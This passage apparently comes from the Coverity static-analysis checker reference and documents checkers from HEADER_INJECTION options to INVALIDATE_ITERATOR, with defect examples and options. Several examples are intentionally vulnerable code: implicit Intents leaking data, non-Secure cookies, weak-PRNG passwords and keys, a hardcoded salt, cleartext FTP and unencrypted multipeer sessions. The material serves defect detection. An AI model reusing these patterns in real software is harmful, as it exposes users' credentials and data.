HEADER_INJECTION:trust_js_client_http_referer:<boolean>
- [JavaScript only] When this option is set to false, the analysis does not trust data from the
'referer' HTTP header (from document.referrer) in client-side
JavaScript code. Defaults to
HEADER_INJECTION:trust_js_client_http_referer:false.
HEADER_INJECTION:trust_js_client_other_origin:<boolean>
- [JavaScript only] When this option is set to false, the analysis does not trust data from
content in another frame or from another origin, for instance from
window.name, in client-side JavaScript code. Defaults to
HEADER_INJECTION:trust_js_client_other_origin:false.
HEADER_INJECTION:trust_js_client_url_query_or_fragment:<boolean>
- [JavaScript only] When this option is set to false, the analysis does not trust data from the
query or fragment part of the URL, for instance from location.hash or
location.query, in client-side JavaScript code. Defaults to
HEADER_INJECTION:trust_js_client_url_query_or_fragment:false.
HEADER_INJECTION:trust_network:<boolean> - [JavaScript
and PHP only] Setting this option to false causes the analysis to treat data
from the network as tainted. Defaults to
HEADER_INJECTION:trust_network:falseSetting this
checker option will override the global --trust-network and
--distrust-network command line options.
HEADER_INJECTION:trust_rpc:<boolean> - [JavaScript and
PHP only] Setting this option to false causes the analysis to treat data from
RPC requests as tainted. Defaults to
HEADER_INJECTION:trust_rpc:false. Setting this
checker option will override the global --trust-rpc and
--distrust-rpc command line options.
HEADER_INJECTION:trust_system_properties:<boolean> -
[JavaScript and PHP only] Setting this option to false causes the analysis to
treat data from system properties as tainted. Defaults to
HEADER_INJECTION:trust_system_properties:true.
Setting this checker option will override the global
--trust-system-properties and
--distrust-system-properties command line options.
This C checker (HFA, a header file analysis checker) finds many instances of unnecessary header file includes. This checker works only on C (not C++) code. An unnecessary header file include can occur when the header file prototypes functions and data structures that are not needed in that source file.
Including unnecessary header files does not cause problems with the analysis, but can slow build performance by requiring the compiler to perform additional work. Use this checker to identify these unneeded headers, and then manually eliminate the includes to speed future builds.
Disabled by Default:
HFA is turned off by default. To enable this checker, use the
--hfa option to the cov-analyze command. Note
that cov-analyze --all
does not enable this checker.
This section provides one or more HFA examples.
If eight.h
contains
#define EIGHT 8and
test.c contains
#include "seven.h" #include "eight.h" int seven = SEVEN;then the include of
eight.h is unnecessary, because EIGHT is not
used in test.c. HIBERNATE_BAD_HASHCODE finds many instances where the
hashCode() or equals() method of a Hibernate entity
depends on the database primary key (usually annotated with @Id). Because
the key is not assigned until after persisting an object, it is unsafe to use such
entities with Java collections before persisting. An incorrect hashCode()
implementation can result in entities "disappearing" from a set (that is,
set.contains(obj) unexpectedly returning false).
Enabled by default: HIBERNATE_BAD_HASHCODE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more HIBERNATE_BAD_HASHCODE examples.
The recommended way to define
hashCode() and equals() is to only depend on business
keys.
@Entity
class Parent {
...
@OneToMany(mappedBy = "parent", cascade=CascadeType.ALL)
private Set<Child> children = new HashSet<Child>();
public Set<Child> getChildren() { return children; }
public void setChildren(Set<Child> c) { children = c; }
...
}
@Entity
class Child {
@Id @GeneratedValue
@Column(name = "child_id")
private Long id;
public Long getId() { return id; }
private void setId(Long id) { this.id = id; }
public int hashCode() {
// this depends on 'id' but shouldn't.
return getId()!=null ? getId().hashCode() : 0;
}
...
}
...
Parent p = new Parent();
Child c = new Child();
c.setParent(p);
p.getChildren().add(c); // adding a transient entity to a set
session.save(p);
// assertion fails!
assert p.getChildren().contains(c);
...
This section describes one or more HIBERNATE_BAD_HASHCODE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
HIBERNATE_BAD_HASHCODE:strict:<boolean> - When this Java option is set to true, the
checker reports instances where hashCode() or equals()
depend on a database key, even when no problematic accesses to Java collections
are found. Defaults to
HIBERNATE_BAD_HASHCODE:strict:false
In addition, the option --hibernate-config to the
cov-analyze command can be used to specify a directory that
contains Hibernate mapping XML files, if applicable.
This section describes one or more events produced by the HIBERNATE_BAD_HASHCODE checker.
id_member - Indicates a member variable that represents a
database primary key, either by being annotated with
@javax.persistence.Id in the source code, or by being marked
with the <id> tag in a Hibernate mapping XML
file.
bad_hashcode - Indicates an implementation of
hashCode() that uses a database primary key.
bad_equals - Indicates an implementation of
equals() that uses a database primary key.
new_transient - Indicates the creation of a new
entity.
collection_access - Indicates that an entity (with an
unassigned primary database key) is used to access a Java collection.
Supported Languages: C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Swift, Scala, and Visual Basic
IDENTICAL_BRANCHES
detects conditional statements and expressions that execute identical code regardless of
the condition. Such duplicate code implies that the condition is unnecessary (or several
conditions could be combined) or that the code should not be identical (so might be a
copy-paste error). The checker treats Ruby case-when statements as if they
were sequences of if-elsif clauses.
Code detected by IDENTICAL_BRANCHES includes the following:
Simple if-then-else statements with identical code in the
then and else branches.
Any else-if chains that have identical code in consecutive
branches in the chain.
Ternary expressions such as cond?expr1:expr2 where
expr1 is identical to expr2.
Any switch statements with identical code in different
case statements.
Simple if-then-else statements and ternary
expressions are enabled by default. Both switch statements and
else-if chains are optional.
Enabled by default: IDENTICAL_BRANCHES is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more IDENTICAL_BRANCHES examples.
The following example is a simple if-else statement with identical
branches.
if (x==2) {
y=32;
z=y*2;
} else {
y=32;
z=y*2;
}In the following example, the code in an if-then statement branch that ends with a
return is identical to the code that comes after it. The code after
the if statement can be considered an implicit
else.
if (hasName(a)) {
name = getName(a);
return name;
}
name = getName(a);
return name;The following examples contain a simple If-Else statement
and ternary If expression where both branches are identical.
Class IdenticalBranches
' Defect: Both the "Then" and "Else" branches are identical.
Function Example1(a As Integer, b As Integer, op As Char) As Integer
If op = "+"c Then
Return a + b
Else
Return a + b
End If
End Function
' Defect: Again, both the "Then" and "Else" branches are identical.
Function Example2(a As Integer, b As Integer, op As Char) As Integer
Return If(op = "+"c, a + b, a + b)
End Function
End Class<?php
function compute($a, $b, $op) {
if ($op == '+') { // IDENTICAL_BRANCHES defect
$result = $a + $b;
} else {
$result = $a + $b;
}
return $result;
}
?>def compute(a, b, op):
if (op == '+'): # IDENTICAL_BRANCHES defect
result = a + b
else:
result = a + b
return resultdef compute(a, b, op)
if op == '+' # IDENTICAL_BRANCHES defect
a + b
else
a + b
end
endThis section describes one or more IDENTICAL_BRANCHES options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
IDENTICAL_BRANCHES:report_different_case_lines:<boolean> -
When this option is true, the checker will report switch case statements when
one case has comments and the other does not, or if the statements use a
different number of lines. If the option is false, the checker will not report
such issues. Defaults to
IDENTICAL_BRANCHES:report_different_case_lines:false
for C, C++, C#, Java, JavaScript, Objective-C,
Objective-C++, PHP, Swift, and Scala only.
This option only takes effect when report_switch_cases is set
to true.
IDENTICAL_BRANCHES:report_different_ifelse_lines:<boolean>
- When this option is true, the checker will report if-else
branches when one branch has comments and the other does not, or in general, if
the branches use a different number of lines. If the option is false, the
checker will not report such issues. Defaults to
IDENTICAL_BRANCHES:report_different_ifelse_lines:false
(all languages).
IDENTICAL_BRANCHES:report_elseif_chains:<boolean> - When
this option is true, the checker will report else-if chains with
identical branches. Defaults to
IDENTICAL_BRANCHES:report_elseif_chains:false
(all languages).
Example of an else-if chain with identical branches (applicable
to C/C++, C#, Java, JavaScript, Ruby, Swift, and Scala only):
if (param==42) x = 5; else if (param==43) x = 5; else x = 3;
IDENTICAL_BRANCHES:report_switch_cases:<boolean> - When
this option is true, the checker will report identical case
statements in a switch-case structure. Defaults to IDENTICAL_BRANCHES:report_switch_cases:false
for C, C++, C#, Java, JavaScript, Objective-C,
Objective-C++, PHP, Swift, and Scala only.
C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Swift, Scala, and Visual Basic example that produces a defect when this option is true (and
switch_case_min_stmts is set to 1, for
example):
switch (x) {
case 1:
y=5; break;
case 2:
y=2; break;
case 3:
y=5; break;
default:
y=2;
}This option is dependent on the setting of switch_case_min_stmts.
IDENTICAL_BRANCHES:switch_case_min_stmts:<integer> - This
option specifies the minimum number of statements to report in switch case
statements. Defaults to
IDENTICAL_BRANCHES:switch_case_min_stmts:3
for C, C++, C#, Java, JavaScript, Objective-C,
Objective-C++, PHP, Swift, and Scala only.
This option only takes effect when report_switch_cases is set to true.
This section describes one or more events produced by the IDENTICAL_BRANCHES checker.
else_branch - Identifies an else branch in a
simple if-else statement when the if and
else are more than 5 lines apart and are associated with a
defect.
else_if - Identifies an else-if statement when
it is more than 3 lines from a consecutive else-if statement, and
the statements are associated with a defect.
identical_branches - Identifies if statements
(both simple ones and else-if chains) and ternary expressions that
contain identical branches.
identical_cases - Identifies a case that is
identical to a previous case in the same switch
statement.
original_case - Identifies a a previous case
that is identical to the reported case. This event is always
reported, regardless of its size.
Supported Languages: JavaScript, PHP, Python, Ruby
IDENTIFIER_TYPO finds occurrences of identifiers that are suspiciously unique and suspiciously close in spelling to another identifier that is more common. Dynamic languages such as JavaScript, PHP, Python, and Ruby make heavy use of named entities that are resolved only at application run time, making such languages especially susceptible to typographical errors (typos) in identifiers. The effect of the defect is typically to reference an unset or undefined entity, which could have various impacts depending on the programming language and the context.
For this checker, identifiers can be names of properties or members, or simply strings that meet criteria for named entities in the program (for example, no spaces or operator characters). Local variable names, including some function names, are not checked by the checker.
The checker uses a number of techniques to reduce false positives, involving aspects
such as the length of the identifier, where the identifier was allegedly edited, and the
relationships among components of identifiers. For example, getUserAddress
and get_user_address have three component names. Identifiers recognized as
having only one component name, such as getuseraddress, are therefore more
susceptible to false positives.
The checker is limited to misspellings with Latin characters. However, in the interest
of internationalization, the checker does not use a dictionary. Some false positives are
possible as a result, such as if handleExit is referenced only once in a
program but handleExist is used many times.
Enabled by default: IDENTIFIER_TYPO is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
![]() | |
Enablement exception for local analysis: To enable this checker for local analysis with |
An IDENTIFIER_TYPO defect is reported at the occurrence of the suspiciously unique identifier. Other events give example uses of the likely intended identifier.
This section provides one or more IDENTIFIER_TYPO examples.
function getWorkingHeightPixels(obj) {
return obj.heightPixels -
obj.topInset.heightPixels -
obj.bottomInset.heigtPixels; // Defect here.
}<?php
function getWorkingHeightPixels($obj) {
return $obj->heightPixels -
$obj->topInset->heightPixels -
$obj->bottomInset->heigtPixels; // Defect here.
}
?>def resetEventHandlers(obj):
obj.mouseMoveAction.eventHandler = None
obj.mouseClickAction.eventHandler = None
obj.keyboardAction.eventHander = None # Defect here.IMPLICIT_INTENT reports a defect on code that uses an implicit Intent to start activities or to start, bind, or stop services. Using an Intent without a specific receiver component (an implicit Intent) allows a malicious application to register to receive this Intent and see any information in it.
An Intent is a messaging object that is used to request an action from another
application component. An Intent that explicitly specifies the component that should
receive it is called an explicit Intent. The component that should receive the Intent
can be specified directly when the Intent is constructed, or it can be set later by
calling one of the following methods on the Intent: setComponent,
setClass, or setClassName. An Intent that does not
explicitly specify the component that should receive it is called an implicit
Intent.
IMPLICIT_INTENT does not report a defect on code that uses an implicit Intent if the
destination application component was restricted to components from the same application
as the source component. Call the setPackage method on the Intent to
restrict the destination application component to be from the same application as the
source component.
Disabled by default: IMPLICIT_INTENT is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Android security checker enablement: To enable IMPLICIT_INTENT
along with other Java Android security checkers, use the --android-security
option to the cov-analyze command.
An IMPLICIT_INTENT defect shows an implicit Intent that is being used to start activities or to start, bind, or stop services. Additional events provide evidence for why the analysis considers that the Intent is implicit: a path from where the Intent is constructed as an implicit Intent and how the Intent flows through the program without restricting the component that should receive it.
This section provides one or more IMPLICIT_INTENT examples.
The following example creates an implicit intent and uses it to start another activity.
public class UseImplicitIntent extends Activity {
// ...
public void startSend(String sensitive_data) {
Intent intent = new Intent(Intent.ACTION_SEND);
// Any sensitive data put in the Intent may be intercepted by a
// malicious application registered for Intent.ACTION_SEND action
intent.putExtra("data", sensitive_data);
startActivity(intent); // Defect here.
}
}Supported Languages: C, C++, Objective-C, Objective-C++
INCOMPATIBLE_CAST finds many instances where an object in memory is accessed via a pointer cast to an incompatible type. Casting a pointer will not change memory layout so the defects reported by INCOMPATIBLE_CAST are potential out-of-bounds memory accesses or dependencies on byte order.
Enabled by default: INCOMPATIBLE_CAST is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more INCOMPATIBLE_CAST examples.
The following example shows a cast on which the INCOMPATIBLE_CAST checker will report. The defect is returned for the last line of the sample code.
void derefI(short *x) {
short y = *x;
}
void foo(int x) {
derefI(&x); //#defect#INCOMPATIBLE_CAST
}Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++
INFINITE_LOOP finds many cases of loops that never terminate, usually resulting in a program hang. It does this by finding variables that appear in the conditions for continuing a loop. If these variables cannot be updated to falsify these conditions without an overflow or an underflow, the checker reports the loop as an infinite loop.
C, C++, Objective-C, Objective-C++, C#, and Java
Enabled by default: INFINITE_LOOP is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more INFINITE_LOOP examples.
Unless x is set to 55 before entering this loop, it will
never terminate:
void foo(int x)
{
int i=0;
while (true) {
if (i >= 10) {
if (x == 55) { // x is never updated
break;
}
}
i++;
}
}In the next example, c is not properly updated. If its initial
value is not EOF or 0x1c (28), the program will
always continue and thus never exit the loop:
int found = 0;
char c = foo();
while (c != EOF) {
if (c == 0x1c) {
found = 1;
} else {
if (found)
return -1;
else
continue;
}
c = foo();
}Some of the following C# examples identify situtations that will trigger a
INFINITE_LOOP defect, while others show situations that will not. Notice that
InfiniteLoop1() contains a true infinite loop because
x will not be incremented in the loop body and cannot reach
10. In this case, the author probably intended to include an
increment statement like the one in LoopFinishes1.
In InfiniteLoop2(), the loop variable i will
have to underflow and count all the way down from the maximum integer value to reach
10 and exit the loop. Thus, even though this loop is really finite,
the analysis reports it as an INFINITE_LOOP defect under the assumption that the
author probably intended to write code more like that in
LoopFinishes2().
public interface DoesSomething {
void DoSomething();
}public class InfiniteLoopExamples {
public void InfiniteLoop1(DoesSomething inst) {
int x = 10;
while(x > 0) { // An INFINITE_LOOP defect appears here.
inst.DoSomething(); //Does not increment x.
}
}
public void LoopFinishes1(DoesSomething inst) {
int x = 10;
while(x > 0) { //No INFINITE_LOOP defect.
inst.DoSomething();
x--;
}
}
public void InfiniteLoop2(DoesSomething inst) {
for(int i = 0; i < 10; i--) { //An INFINITE_LOOP defect appears here.
inst.DoSomething();
}
}
public void LoopFinishes2(DoesSomething inst) {
for(int i = 0; i < 10; i++) { //No INFINITE_LOOP defect here.
inst.DoSomething();
}
}
}This section describes one or more INFINITE_LOOP options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
INFINITE_LOOP:allow_asm:<boolean> - If this option is enabled, the checker will ignore all
assembly code. By default, the checker assumes that assembly code can be a loop
control variable update statement. Defaults to
INFINITE_LOOP:allow_asm:false (for C and C++
only).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
INFINITE_LOOP:allow_pointer_derefs:<boolean> - option that allows detection of infinite loops
involving C/C++ pointer dereferences or, for C# and Java, where the
incorrectly-updated variable is a field of another variable. Defaults to
INFINITE_LOOP:allow_pointer_derefs:false (all
languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
C/C++ Example:
If this option is set to true, the checker reports defects that
updates the wrong loop control variable (j instead of
i):
for (i = 0; i < p->x[0].hi * p->x[0].lo; j++) {
a += p->x[0].hi;
}C# Example:
The following defect is reported when this option is set to true
but not when set to the default value, false:
class Foo
{
public int a;
static void Test(Foo pfoo)
{
while(pfoo.a == 1) //INFINITE_LOOP defect reported here
{
}
}
}INFINITE_LOOP:report_bound_type_mismatch:<boolean>
- This option reports potential infinite loops where
the loop bound's type is wider than the loop counter's type. Using this option can lead
to false positives where the loop bound's actual value is within the value range of the
loop counter's type. Defaults to
INFINITE_LOOP:report_bound_type_mismatch:false (all languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
INFINITE_LOOP:report_no_escape:<boolean> - This
option reports loops that are infinite,
because there is no non-constant condition that allows loop exits. An example of
this is the "while (true) process();" loop. Such loops are
used for software that never finishes, such as server software. This option
defaults to INFINITE_LOOP:report_no_escape:false (all
languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
INFINITE_LOOP:suppress_in_macro:<boolean> - When this
option is set to false, the
checker will report potential infinite loops where the control condition is
within a macro. Defaults to
INFINITE_LOOP:suppress_in_macro:true (for C and C++
only), which suppresses such reports.
This checker option is automatically set to
false if the --aggressiveness-level option of
cov-analyze is set to high.
This section describes one or more events produced by the INFINITE_LOOP checker.
loop_top - [C/C++] Beginning of loop.
loop_bottom - [C/C++] End of loop.
loop_condition - [C/C++] A condition that must evaluate to
true for the loop to continue.
no_escape - [C/C++] There are no escape conditions for the
loop, and thus no way to exit.
non_progress_update - [C/C++] The loop is infinite (a control
variable is updated, but incorrectly).
INSECURE_COMMUNICATION finds cases where network APIs are instantiated using insecure HTTP and FTP protocols/ports. Communicating over insecure channels might allow an attacker to intercept/modify transmissions.
Enabled by default: INSECURE_COMMUNICATION is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
An INSECURE_COMMUNICATION defect shows a call site that initiates an insecure channel to send or receive data. Additional event data will demonstrate the detection of the insecure protocol or ports.
This section provides one or more INSECURE_COMMUNICATION examples.
This example creates an insecure FTP connection using a IP Address bypassing ATS restrictions.
func getConfigurationData() {
let url = URL(string: "ftp://192.168.102.122")
let session: URLSession = URLSession(configuration: .default)
// Using an IP address does not activate ATS, so Insecure Communication here
let task_handler = session.dataTask(with: url!, completionHandler: {(data, response, error) -> Void in
print("Processing Config Data...")
})
}The INSECURE_COOKIE checker reports cases where the
Secure attribute is not set for cookies that might be used in HTTPS
sessions. (Setting the Secure attribute lets the client know that the
cookie should not be sent over an unencrypted connection.)
Even when a cookie originates in an encrypted HTTPS session, it might be saved and
resent by the client over a subsequent HTTP connection where it will be transmitted as
cleartext. Depending on the purpose of the cookie, its contents could be intercepted and
used to hijack a user's session or to leak other sensitive data. This is why setting the
Secure attribute is important.
Disabled by default: INSECURE_COOKIE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
An INSECURE_COOKIE defect shows that an HTTP cookie has been created and added to an
HTTP response without setting its Secure attribute.
This section provides one or more INSECURE_COOKIE examples.
The following code adds a cookie to track a session identifier, but it does not mark it as secure. The INSECURE_COOKIE checker would report this as a defect.
void addSessionToken(HttpServletResponse response, String id)
{
Cookie c = new Cookie("SESSION_ID", id);
response.addCookie(c);
}INSECURE_MULTIPEER_CONNECTION finds cases when the initialization of a multi-peer connection session sets the encryption so that it is not mandatory.
By default, multi-peer connections are established with encrypted transport. You can disable encryption or make encryption optional. However, note that this makes your connection more susceptible to interception, as information can easily be read as plaintext by an attacker.
Enabled by default: INSECURE_MULTIPEER_CONNECTION is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
An INSECURE_MULTIPEER_CONNECTION defect shows a call site that initiates an insecure channel to send or receive data. Additional event data will demonstrate the detection of the insecure protocol or ports.
This section provides one or more INSECURE_MULTIPEER_CONNECTION examples.
TThis example creates a multipeer connection with encryption disabled (.none).
import Foundation
import MultipeerConnectivity
class Connectivity {
...
func createConnectivity(name: String) -> MCSession {
let myID = MCPeerID(displayName: name)
// Insecure Multipeer Connection Here
return MCSession(peer: myID, securityIdentity: nil, encryptionPreference: .none)
}
...
}Supported Languages: C#, Java, JavaScript
INSECURE_RANDOM finds cases where cryptographically weak pseudo-random number generators (PRNGs) are used to generate insecure random values, which are then used in sensitive contexts where security relies on the unpredictability of these generated values. Otherwise, attackers might be able to guess further generated values and thereby gain restricted privileges or access to sensitive data.
This checker is disabled by default. To enable it use the --enable
option to the cov-analyze command. To enable INSECURE_RANDOM along
with all other Web application security checkers, use the
--webapp-security option to cov-analyze.
An INSECURE_RANDOM defect with subcategory insecure_random_used shows a
dataflow path by which an insecure random value is passed through the program and
eventually used in a security sensitive context. The first event describes the
cryptographically insecure source of the random value. It is followed by events that
trace the step-by-step propagation through the program. The last event shows the value
being passed to a sensitive sink.
An INSECURE_RANDOM defect with subcategory insecure_random_value has an
event at the point in the code where a cryptographically insecure PRNG is used to
generate a random value.
This section provides one or more INSECURE_RANDOM examples.
In this example, a cryptographically insecure PRNG is used to generate a random value. This value is then used in a security sensitive context, as a network credential password.
using System;
class InsecureRandom
{
public void Test() {
Random random = new Random();
Byte[] bytes = new Byte[20];
random.NextBytes(bytes);
string s = System.Text.Encoding.UTF8.GetString(bytes, 0, bytes.Length);
System.Net.NetworkCredential nc
= new System.Net.NetworkCredential("userName", s); // Defect here.
}
}In this example, a cryptographically insecure PRNG is used to generate a random value. This value is then used in a security-sensitive context, as a password.
import java.net.PasswordAuthentication;
import java.util.Random;
public class InsecureRandom {
public void test() throws Exception {
Random ranGen = new Random();
byte[] bytes = new byte[20];
ranGen.nextBytes(bytes);
PasswordAuthentication pa = new PasswordAuthentication("username", // Defect here.
new String(bytes).toCharArray());
}
}In this example, a cryptographically insecure PRNG is used to generate a random value. This value is then used in a security-sensitive context as a key for an HMAC algorithm.
const crypto = require ('crypto');
let key = Math.random();
function unsafe_hmac(data) {
let hash = crypto.createHmac('sha256', key); // Defect here
hash.update(data);
return hash.digest('base64');
} This section describes one or more INSECURE_RANDOM options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
INSECURE_RANDOM:report_no_sink_errors:<boolean> - When
this option is set to true, the checker reports
a defect on all instances in which a cryptographically insecure PRNG is used to
generate a random value. The checker does not take into account the way the PRNG
instances are used. If false, the checker reports defects only when insecurely
generated random values are used in security-sensitive contexts. Defaults to
INSECURE_RANDOM:report_no_sink_errors:false This checker option is automatically set to true
if the --webapp-security-aggressiveness-level option of the cov-analyze command is set to high.
Supported Languages: JavaScript
INSECURE_SALT finds cases where an insufficiently random salt value is used as input to a hash function. If an attacker knows the salt value, they can conduct a brute-force attack to discover the input that yields the output that the hash function produced.
Disabled by default: INSECURE_SALT is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
An INSECURE_SALT defect shows a dataflow path by which a hardcoded salt is passed through the program and eventually used in a security sensitive context. The first event shows the hardcoded value. It is followed by events that trace the step-by-step propagation through the program. The last event shows the value being passed to a sensitive sink.
This section provides one or more INSECURE_SALT examples.
In this example, an express server is created that hashes a password using an insecure salt.
var bcrypt = require('bcrypt');
var express = require('express');
var app = express();
app.post('/signup', function (req, res) {
const salt = 'salt_value';
bcrypt.hash(req.body.password, salt, function (err, hash) { // Defect here
if (err) throw err;
addUserToDatabase(req.body.username, hash, salt);
});
res.send('Account created');
});
app.listen(3000, function () {});Supported Languages: C, C++, Objective-C, Objective-C++
INTEGER_OVERFLOW finds many cases of integer overflows and truncations resulting from arithmetic operations. Some forms of integer overflow can cause security vulnerabilities, for example, when the overflowed value is used as the argument to an allocation function. By default, the checker reports defects only when it determines that the operands are tainted sources, the operations are addition or multiplication, and the operation's result goes to a sink Sinks are memory allocators and certain system calls. You can use checker options to add more sinks. The checker only reports when overflow occurs on the path from a data source to a data sink. By default, a source is a program variable that can be controlled by an external agent (for example, an attacker), and a sink is a value that is trusted from a security perspective (for example, allocation argument). However, there are checker options that will relax the source and sink criteria in order to report more defects.
For more information about tainted data and sinks, see Section 7.2, “C/C++ Application Security”.
To enable taint to flow downwards from C and C++ unions to their component fields, you can set
the --inherit-taint-from-unions option to the cov-analyze
command.
Disabled by default: INTEGER_OVERFLOW is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
This section provides one or more INTEGER_OVERFLOW examples.
The following example has an integer overflow
defect because the integer y is from an outside (and therefore,
potentially tainted) source. This value is an operator in a multiplication operation (as
size), and then is used in a sink (allocator for
mycell).
#include <unistd.h>
#define INT_MAX 2147483647
class Cell {
public:
int a;
int *b;
};
void test(int x, int fd) {
int y;
read(fd, &y, 4); // y is from a tainted (outside) source
int size = y;
Cell *mycell;
if (size != 0) {
// Overflow results from operation size * sizeof(Cell)
// Overflowed value is used in memory allocation
mycell = new Cell[size]; // overflow and overflow_sink events
}
}This section describes one or more INTEGER_OVERFLOW options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
INTEGER_OVERFLOW:enable_all_overflow_ops:<boolean> - When
this option is true, the checker
reports defects for subtraction, unary negation, increment, and decrement
operations. Defaults to
INTEGER_OVERFLOW:enable_all_overflow_ops:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
INTEGER_OVERFLOW:enable_array_sink:<boolean> - When this
option is true, the checker
treats all array index operations as sinks. Defaults
to
INTEGER_OVERFLOW:enable_all_overflow_ops:true
INTEGER_OVERFLOW:enable_const_overflows:<boolean> - When
this option is true, the checker
flags overflows due to arithmetic on constant operands that are either literal
constants or are known to be specific constant values along a particular path.
Occasionally, such overflows are intentional, but often they indicate a logical
error or an erroneous value. Enabling this option flags overflows for the
following operators: add, subtract, multiply, truncate due to cast, increment
(++), and decrement (--). Defaults to
INTEGER_OVERFLOW:enable_const_overflows:false
INTEGER_OVERFLOW:enable_deref_sink:<boolean> - When this
option is true, the checker
treats the operation of deferencing a pointer as sinks. Defaults to
INTEGER_OVERFLOW:enable_deref_sink:false
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
INTEGER_OVERFLOW:enable_tainted_params:<boolean> - When
this option is true, the checker
treats all operands as potentially tainted. Defaults
to
INTEGER_OVERFLOW:enable_tainted_params:false
INTEGER_OVERFLOW:enable_return_sink:<boolean> - When this
option is true, the checker
treats all return statements as sinks. Defaults to
INTEGER_OVERFLOW:enable_return_sink:true
![]() | Important! |
|---|---|
Enabling these options, especially |
You can model additional tainted sources and sinks with the
__coverity_tainted_data_argument__,
__coverity_tainted_data_return__ and
__coverity_tainted_data_sink__ modeling primitives.
This section describes one or more events produced by the INTEGER_OVERFLOW checker.
overflow - An arithmetic operation resulted in an integer
overflow. One or more of the operands is from a tainted source.
truncation - An implicit cast of a large bit-width value to a
small bit-width value resulted in an integer truncation. One or more of the
operands is from a tainted source.
overflow_assign - An overflowed or truncated integer is
assigned to another variable.
overflow_const - An overflow due to arithmetic on values that
are constants along this path.
overflow_sink - An overflowed or truncated integer is used in
a sink.
truncate_const - Truncation due to a cast of constant value
to smaller size result that loses higher-order bits in the resultant
value.
Supported Languages: C++, Java
INVALIDATE_ITERATOR finds finds many uses of iterators that have been invalidated by a modification to the collection underlying the iterator. Depending on the API, language, compiler, and so on, use of an invalid iterator could cause undefined behavior, such as a crash or data corruption, or could throw an exception.
Enabled by default: INVALIDATE_ITERATOR is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
For C++, INVALIDATE_ITERATOR checker finds many uses
of STL iterators that are either invalid (any use) or past-the-end (increment or
dereference). An iterator is considered to be invalidated after it has been passed
to an STL container's erase method. Use of invalid or
past-the-end iterators might work on certain platforms, but this is not guaranteed.
More likely, these defects lead to undefined behavior, including crashes.
The checker recognizes the following containers by default:
vector list map multimap set multiset hash_map hash_multimap hash_set hash_multiset basic_string
The checker treats a variable as an iterator if its type is the same as the
return type of any overload of end().
The INVALIDATE_ITERATOR analysis can report false positives when it incorrectly infers that an iterator is off the end of an STL container or when it incorrectly infers that an iterator is used improperly. In either case, the only way to suppress false positives of these types is using a code annotation.
For Java, this checker finds cases in which
the following sequence occurs, which is invalid for class
Iterator:
An iterator is obtained from a collection.
That collection is modified (without using
Iterator.remove).
The iterator is used.
This scenario also includes cases in which the iterator is implicitly created by
an enhanced for loop.
This section provides one or more INVALIDATE_ITERATOR examples.
void wrong_erase(list<int> &l, int v) {
list<int>::iterator i = l.begin();
for(; i != l.end(); ++i) { /* Defect: "i" is incremented
after invalidation
by a call to "erase" */
if(*i == v)
l.erase(i);
}
}int deref_end(list<int> &l) {
list<int>::iterator i = l.end();
int x = *i; // Defect: dereferencing past-the-end
}One way to erase multiple items from an STL list or set is to use the following idiom:
void correct_erase(list<int> &l, int v) {
list<int>::iterator i = l.begin();
while(i != l.end()) {
if(*i == v)
l.erase(i++); // OK: Post-increment increments old value
// and invalidates temporary
else
++i;
}
}One way to erase multiple items from an STL vector is to use the following idiom:
void correct_erase(vector<int> &c, int v) {
// wi = "write" iterator
// ri = "read" iterator
vector<int>::iterator ri = c.begin();
// Skip kept values at the beginning
while(ri != c.end() && *ri != v)
++ri;
if(ri == c.end())
return;
vector<int>::iterator wi = ri;
// Skip first erased value
++ri;
while(ri != c.end()) {
if(*ri != v) {
// Keep => write at wi
*wi++ = *ri;
} // else skip
++ri;
}
c.erase(wi, c.end());
}
struct is_equal_to: public unary_function<int, bool> {
int const v;
is_equal_to(int v):v(v){}
bool operator()(int x) const {
return x == v;
}
};
void correct_erase2(vector<int> &c, int v) {
c.erase(remove_if(c.begin(), c.end(), is_equal_to(v)), c.end());
}The following example, the iterator families from
familyListeners.keySet() is returned. Then a call to
familyListeners.put() mutates the Iterable
familyListeners, which invalidates families. Finally,
the invalid iterator families in is used in a call to
java.util.Iterator.hasNext().
1 Iterator families = familyListeners.keySet().iterator();
2 while (families.hasNext()) {
3 Object next = families.next();
4 Collection currentListeners = (Collection) familyListeners.get(next);
5 if (currentListeners.contains(listener))
6 currentListeners.remove(listener);
7 if (currentListeners.isEmpty())
8 keysToRemove.add(next);
9 else
10 familyListeners.put(next, currentListeners);
11 }
12 //Remove any empty listeners
13 Iterator keysIterator = keysToRemove.iterator();
14 while (keysIterator.hasNext()) {
